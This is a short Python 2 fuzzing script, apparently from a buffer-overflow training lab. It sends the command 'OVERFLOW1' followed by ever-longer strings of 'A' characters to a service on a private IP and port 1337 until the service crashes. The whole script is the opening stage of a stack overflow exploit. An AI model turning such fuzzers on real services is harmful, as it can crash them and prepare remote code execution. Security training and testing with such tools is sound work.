#!/usr/bin/python
import sys, socket

ip = '10.10.45.125'
port = 1337
buffer = ['A']
counter = 2000
prefix="OVERFLOW1 "

while len(buffer) <= 10:
    buffer.append('A'*counter)
    counter = counter + 100
try:
    for string in buffer:
        print '[+] Sending %s bytes...' % len(string)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)
        s.send(prefix+string + '\\r\\n')
        s.recv(1024)
 
        print '[+] Done'
except:
    print '[!] A connection cant be stablished to the program. It may have crashed.'
    sys.exit(0)
finally:
    s.close()